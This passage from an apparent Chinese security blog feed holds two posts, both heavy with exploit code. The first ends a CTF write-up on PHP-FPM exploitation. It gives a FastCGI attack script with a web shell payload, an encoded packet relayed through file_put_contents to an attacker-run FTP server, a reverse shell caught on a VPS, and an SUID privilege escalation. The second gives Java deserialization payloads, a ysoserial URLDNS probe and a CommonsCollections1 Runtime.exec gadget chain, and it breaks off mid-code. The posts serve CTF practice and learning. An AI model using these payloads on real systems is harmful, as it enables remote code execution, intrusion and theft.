class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$code</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"&lt;?php system(\$_REQUEST['command']); phpinfo(); ?>"</span><span class="token punctuation">;</span><span class="token variable">$php_value</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = a.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "</span><span class="token punctuation">;</span><span class="token variable">$params</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span>    <span class="token string single-quoted-string">'GATEWAY_INTERFACE'</span> <span class="token operator">=></span> <span class="token string single-quoted-string">'FastCGI/1.0'</span><span class="token punctuation">,</span>    <span class="token string single-quoted-string">'REQUEST_METHOD'</span>    <span class="token operator">=></span> <span class="token string single-quoted-string">'POST'</span><span class="token punctuation">,</span>    <span class="token string single-quoted-string">'SCRIPT_FILENAME'</span>   <span class="token operator">=></span> <span class="token variable">$filepath</span><span class="token punctuation">,</span>    <span class="token string single-quoted-string">'SCRIPT_NAME'</span>       <span class="token operator">=></span> <span class="token variable">$req</span><span class="token punctuation">,</span>    <span class="token string single-quoted-string">'QUERY_STRING'</span>      <span class="token operator">=></span> <span class="token string single-quoted-string">'command=whoami'</span><span class="token punctuation">,</span>    <span class="token string single-quoted-string">'REQUEST_URI'</span>       <span class="token operator">=></span> <span class="token variable">$uri</span><span class="token punctuation">,</span>    <span class="token string single-quoted-string">'DOCUMENT_URI'</span>      <span class="token operator">=></span> <span class="token variable">$req</span><span class="token punctuation">,</span><span class="token comment">#'DOCUMENT_ROOT'     => '/',</span>    <span class="token string single-quoted-string">'PHP_VALUE'</span>         <span class="token operator">=></span> <span class="token variable">$php_value</span><span class="token punctuation">,</span>    <span class="token string single-quoted-string">'SERVER_SOFTWARE'</span>   <span class="token operator">=></span> <span class="token string single-quoted-string">'80sec/wofeiwo'</span><span class="token punctuation">,</span>    <span class="token string single-quoted-string">'REMOTE_ADDR'</span>       <span class="token operator">=></span> <span class="token string single-quoted-string">'127.0.0.1'</span><span class="token punctuation">,</span>    <span class="token string single-quoted-string">'REMOTE_PORT'</span>       <span class="token operator">=></span> <span class="token string single-quoted-string">'9001'</span><span class="token punctuation">,</span>    <span class="token string single-quoted-string">'SERVER_ADDR'</span>       <span class="token operator">=></span> <span class="token string single-quoted-string">'127.0.0.1'</span><span class="token punctuation">,</span>    <span class="token string single-quoted-string">'SERVER_PORT'</span>       <span class="token operator">=></span> <span class="token string single-quoted-string">'80'</span><span class="token punctuation">,</span>    <span class="token string single-quoted-string">'SERVER_NAME'</span>       <span class="token operator">=></span> <span class="token string single-quoted-string">'localhost'</span><span class="token punctuation">,</span>    <span class="token string single-quoted-string">'SERVER_PROTOCOL'</span>   <span class="token operator">=></span> <span class="token string single-quoted-string">'HTTP/1.1'</span><span class="token punctuation">,</span>    <span class="token string single-quoted-string">'CONTENT_LENGTH'</span>    <span class="token operator">=></span> <span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$code</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token variable">$client</span><span class="token operator">-></span><span class="token function">request</span><span class="token punctuation">(</span><span class="token variable">$params</span><span class="token punctuation">,</span> <span class="token variable">$code</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token string double-quoted-string">"\n"</span><span class="token punctuation">;</span><span class="token delimiter important">?></span></span></code></pre><pre class="language-none"><code class="language-none">data&#x3D;%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02B%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B6PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+a.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%93%9D%E5%B8%BD%E6%9D%AF_2021_One_Pointer_PHP/image-20211207154718100.png" alt loading="lazy"></p><p>构造<code>file_put_contents()</code>与我们 <code>vps</code> 上恶意的 <code>ftp</code> 服务器建立连接</p><pre class="language-none"><code class="language-none">backdoor&#x3D;$file%20&#x3D;%20$_GET[&#39;file&#39;];$data%20&#x3D;%20$_GET[&#39;data&#39;];file_put_contents($file,$data);&amp;file&#x3D;ftp:&#x2F;&#x2F;ip:123&#x2F;&amp;data&#x3D;%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02B%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B6PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+a.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%93%9D%E5%B8%BD%E6%9D%AF_2021_One_Pointer_PHP/image-20211207154920402.png" alt loading="lazy"></p><p>发包，vps监听2333端口拿到shell</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%93%9D%E5%B8%BD%E6%9D%AF_2021_One_Pointer_PHP/image-20211207155006354.png" alt loading="lazy"></p><p>无权限读取flag</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%93%9D%E5%B8%BD%E6%9D%AF_2021_One_Pointer_PHP/image-20211207155302172.png" alt loading="lazy"></p><h3 id="suid提权"><a href="#suid提权" class="headerlink" title="suid提权"></a>suid提权</h3><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token function">find</span> / -perm -u<span class="token operator">=</span>s -type f <span class="token operator"><span class="token file-descriptor important">2</span>></span>/dev/null</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%93%9D%E5%B8%BD%E6%9D%AF_2021_One_Pointer_PHP/image-20211207155757551.png" alt loading="lazy"></p><p>php有suid，进入交互模式执行代码，得到flag</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%93%9D%E5%B8%BD%E6%9D%AF_2021_One_Pointer_PHP/image-20211207160808736.png" alt loading="lazy"></p><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="https://rmb122.com/2020/12/30/hxp-CTF-resonator-Writeup-SSRF-via-file-put-contents/">hxp CTF resonator Writeup - SSRF via file_put_contents</a></p><p><a href="https://bbs.ichunqiu.com/thread-60888-1-1.html">通过一道CTF题学习php-fpm攻击</a></p><p><a href="https://ha1c9on.top/2021/04/29/lmb_one_pointer_php/">蓝帽杯_one_Pointer_php</a></p><p><a href="http://www.hackdig.com/05/hack-342091.htm">[2021 蓝帽杯]one_Pointer_php赛后复盘</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;题目给了两个文件&lt;/p&gt;
&lt;p&gt;&lt;code&gt;add_api.php&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;language-php&quot; data-language=&quot;php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token 
      
    
    </summary>
    
    
      <category term="CTF" scheme="https://www.extrader.top/categories/CTF/"/>
    
    
      <category term="CTF题" scheme="https://www.extrader.top/tags/CTF%E9%A2%98/"/>
    
  </entry>
  
  <entry>
    <title>Java反序列化Payload</title>
    <link href="https://www.extrader.top/posts/c6da5693/"/>
    <id>https://www.extrader.top/posts/c6da5693/</id>
    <published>2021-09-13T15:13:54.000Z</published>
    <updated>2022-03-26T05:48:50.952Z</updated>
    
    <content type="html"><![CDATA[<p>把学习java反序列化的一些链都记录一下，简单记录Payload，即利用方法，细节就不分析了，网上文章很多 <del>（其实是理解不深怕分析不到位。。。）</del>，当然重在原理理解，以后发现了新思路可能会记录一下吧</p><p>本篇主要记录利用链代码，以及自己的一些简单理解，<strong>非漏洞原理</strong></p><span id="more"></span><p>未做说明的情况下，测试环境均为<code>Windows10+jdk1.8.0_221+IDEA2019.3</code></p><h3 id="URLDNS"><a href="#URLDNS" class="headerlink" title="URLDNS"></a>URLDNS</h3><p>起一个<code>tomcat</code>，版本为<code>8.5.57</code></p><p><code>servlet</code>代码如下，<code>web.xml</code>自行配置</p><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">import</span> <span class="token import"><span class="token namespace">javax<span class="token punctuation">.</span>servlet<span class="token punctuation">.</span></span><span class="token class-name">ServletException</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">javax<span class="token punctuation">.</span>servlet<span class="token punctuation">.</span></span><span class="token class-name">ServletInputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">javax<span class="token punctuation">.</span>servlet<span class="token punctuation">.</span>http<span class="token punctuation">.</span></span><span class="token class-name">HttpServlet</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">javax<span class="token punctuation">.</span>servlet<span class="token punctuation">.</span>http<span class="token punctuation">.</span></span><span class="token class-name">HttpServletRequest</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">javax<span class="token punctuation">.</span>servlet<span class="token punctuation">.</span>http<span class="token punctuation">.</span></span><span class="token class-name">HttpServletResponse</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">IOException</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ObjectInputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">PrintWriter</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">HashMap</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>net<span class="token punctuation">.</span></span><span class="token class-name">URL</span></span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">DemoServlet</span> <span class="token keyword">extends</span> <span class="token class-name">HttpServlet</span> <span class="token punctuation">&#123;</span>    <span class="token annotation punctuation">@Override</span>    <span class="token keyword">protected</span> <span class="token keyword">void</span> <span class="token function">doPost</span><span class="token punctuation">(</span><span class="token class-name">HttpServletRequest</span> req<span class="token punctuation">,</span> <span class="token class-name">HttpServletResponse</span> resp<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">ServletException</span><span class="token punctuation">,</span> <span class="token class-name">IOException</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">ServletInputStream</span> sis <span class="token operator">=</span> req<span class="token punctuation">.</span><span class="token function">getInputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectInputStream</span> ois <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectInputStream</span><span class="token punctuation">(</span>sis<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">try</span><span class="token punctuation">&#123;</span>            ois<span class="token punctuation">.</span><span class="token function">readObject</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span><span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token class-name">ClassNotFoundException</span> e<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            e<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        ois<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token annotation punctuation">@Override</span>    <span class="token keyword">protected</span> <span class="token keyword">void</span> <span class="token function">doGet</span><span class="token punctuation">(</span><span class="token class-name">HttpServletRequest</span> req<span class="token punctuation">,</span> <span class="token class-name">HttpServletResponse</span> resp<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">ServletException</span><span class="token punctuation">,</span> <span class="token class-name">IOException</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">PrintWriter</span> out <span class="token operator">=</span> resp<span class="token punctuation">.</span><span class="token function">getWriter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"this is a demo"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p>使用<code>ysoserial</code>生成<code>payload</code>，项目地址：<a href="https://github.com/frohoff/ysoserial">https://github.com/frohoff/ysoserial</a></p><p>在IDEA把<code>运行/调试配置</code>的<code>程序参数</code>设置为<code>URLDNS &quot;http://hnhnxq.dnslog.cn&quot;</code></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Payload/image-20210914000124654.png" alt loading="lazy"></p><p>然后在<code>Serializer.java</code>中加入以下代码</p><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">try</span> <span class="token punctuation">&#123;</span>    <span class="token class-name">FileOutputStream</span> fileOut <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">FileOutputStream</span><span class="token punctuation">(</span><span class="token string">"./payload.ser"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token class-name">ObjectOutputStream</span> ot <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectOutputStream</span><span class="token punctuation">(</span>fileOut<span class="token punctuation">)</span><span class="token punctuation">;</span>    ot<span class="token punctuation">.</span><span class="token function">writeObject</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span>    ot<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">catch</span><span class="token punctuation">(</span><span class="token class-name">IOException</span> i<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    i<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre><p>如下图</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Payload/image-20210913235630028.png" alt loading="lazy"></p><p>目的是将反序列化后的数据保存为<code>payload.ser</code>文件</p><p>使用<code>curl</code>发包：<code>curl http://localhost:8088/demo --data-binary @payload.ser</code></p><p>参数解释：<code>--data-binary key=value</code></p><ul><li>HTTP POST请求中的数据为纯二进制数据</li><li><code>value</code>如果是<code>@file_name</code>，则保留文件中的回车符和换行符，不做任何转换</li></ul><p><code>dnslog</code>收到请求记录</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Payload/image-20210913234611155.png" alt loading="lazy"></p><p>这条链一般用来探测是否存在反序列化漏洞，好处是未依赖任何的第三方包，而且并不会影响测试的业务程序</p><h3 id="CommonCollections1"><a href="#CommonCollections1" class="headerlink" title="CommonCollections1"></a>CommonCollections1</h3><p><code>ChainedTransformer</code>这条链原理不再赘述，主要依赖<code>sun.reflect.annotation.AnnotationInvocationHandler</code>这个类来触发反序列化，然后通过<code>Map</code>来触发<code>transform</code>的调用</p><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span></span><span class="token class-name">Transformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>functors<span class="token punctuation">.</span></span><span class="token class-name">ChainedTransformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>functors<span class="token punctuation">.</span></span><span class="token class-name">ConstantTransformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>functors<span class="token punctuation">.</span></span><span class="token class-name">InvokerTransformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>map<span class="token punctuation">.</span></span><span class="token class-name">LazyMap</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>map<span class="token punctuation">.</span></span><span class="token class-name">TransformedMap</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ByteArrayInputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ByteArrayOutputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ObjectInputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ObjectOutputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>lang<span class="token punctuation">.</span>annotation<span class="token punctuation">.</span></span><span class="token class-name">Retention</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>lang<span class="token punctuation">.</span>reflect<span class="token punctuation">.</span></span><span class="token class-name">Constructor</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>lang<span class="token punctuation">.</span>reflect<span class="token punctuation">.</span></span><span class="token class-name">InvocationHandler</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>lang<span class="token punctuation">.</span>reflect<span class="token punctuation">.</span></span><span class="token class-name">Proxy</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">HashMap</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">Map</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">sun<span class="token punctuation">.</span>reflect<span class="token punctuation">.</span>annotation<span class="token punctuation">.</span></span><span class="token class-name">AnnotationType</span></span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">CommonCollections1</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span> transformers <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span>                <span class="token keyword">new</span> <span class="token class-name">ConstantTransformer</span><span class="token punctuation">(</span><span class="token class-name">Runtime</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                <span class="token keyword">new</span> <span class="token class-name">InvokerTransformer</span><span class="token punctuation">(</span><span class="token string">"getMethod"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span><span class="token class-name">String</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">,</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span><span class="token string">"getRuntime"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                <span class="token keyword">new</span> <span class="token class-name">InvokerTransformer</span><span class="token punctuation">(</span><span class="token string">"invoke"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">&#123;</span> <span class="token class-name">Object</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">,</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token keyword">class</span> <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">&#123;</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                <span class="token keyword">new</span> <span class="token class-name">InvokerTransformer</span><span class="token punctuation">(</span><span class="token string">"exec"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span><span class="token class-name">String</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span><span class="token string">"calc.exe"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                <span class="token keyword">new</span> <span class="token class-name">ConstantTransformer</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        <span class="token class-name">CC_LazyMap</span><span class="token punctuation">(</span>transformers<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token class-name">CC_TransformedMap</span><span class="token punctuation">(</span><span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span> transformers<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token comment">/*            Gadget chain:                ObjectInputStream.readObject()                    AnnotationInvocationHandler.readObject()                        entry.setValue()                            TransformedMap.checkSetValue()                                ChainedTransformer.transform()                                    ConstantTransformer.transform()                                    InvokerTransformer.transform()                                        Method.invoke()                                            Class.getMethod()                                    InvokerTransformer.transform()                                        Method.invoke()                                            Runtime.getRuntime()                                    InvokerTransformer.transform()                                        Method.invoke()                                            Runtime.exec()            Requires:                commons-collections         */</span>        <span class="token comment">// java8后无法使用，AnnotationInvocationHandler被改写</span>        <span class="token class-name">Transformer</span> transformerChain <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ChainedTransformer</span><span class="token punctuation">(</span>transformers<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Map</span> innerMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">HashMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        innerMap<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span><span class="token string">"value"</span><span class="token punctuation">,</span> <span class="token string">"xxxx"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Map</span> outerMap <span class="token operator">=</span> <span class="token class-name">TransformedMap</span><span class="token punctuation">.</span><span class="token function">decorate</span><span class="token punctuation">(</span>innerMap<span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> transformerChain<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Class</span> clazz <span class="token operator">=</span> <span class="token class-name">Class</span><span class="token punctuation">.</span><span class="token function">forName</span><span class="token punctuation">(</span><span class="token string">"sun.reflect.annotation.AnnotationInvocationHandler"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Constructor</span> construct <span class="token operator">=</span> clazz<span class="token punctuation">.</span><span class="token function">getDeclaredConstructor</span><span class="token punctuation">(</span><span class="token class-name">Class</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">,</span> <span class="token class-name">Map</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        construct<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">InvocationHandler</span> handler <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">InvocationHandler</span><span class="token punctuation">)</span> construct<span class="token punctuation">.</span><span class="token function">newInstance</span><span class="token punctuation">(</span><span class="token class-name">Retention</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">,</span> outerMap<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">out</span><span class="token punctuation">(</span>handler<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token class-name">CC_LazyMap</span><span class="token punctuation">(</span><span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span> transformers<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token comment">/*            Gadget chain:                ObjectInputStream.readObject()                    AnnotationInvocationHandler.readObject()                        Map(Proxy).entrySet()                            AnnotationInvocationHandler.invoke()                                LazyMap.get()                                    ChainedTransformer.transform()                                        ConstantTransformer.transform()                                        InvokerTransformer.transform()                                            Method.invoke()                                                Class.getMethod()                                        InvokerTransformer.transform()                                            Method.invoke()                                                Runtime.getRuntime()                                        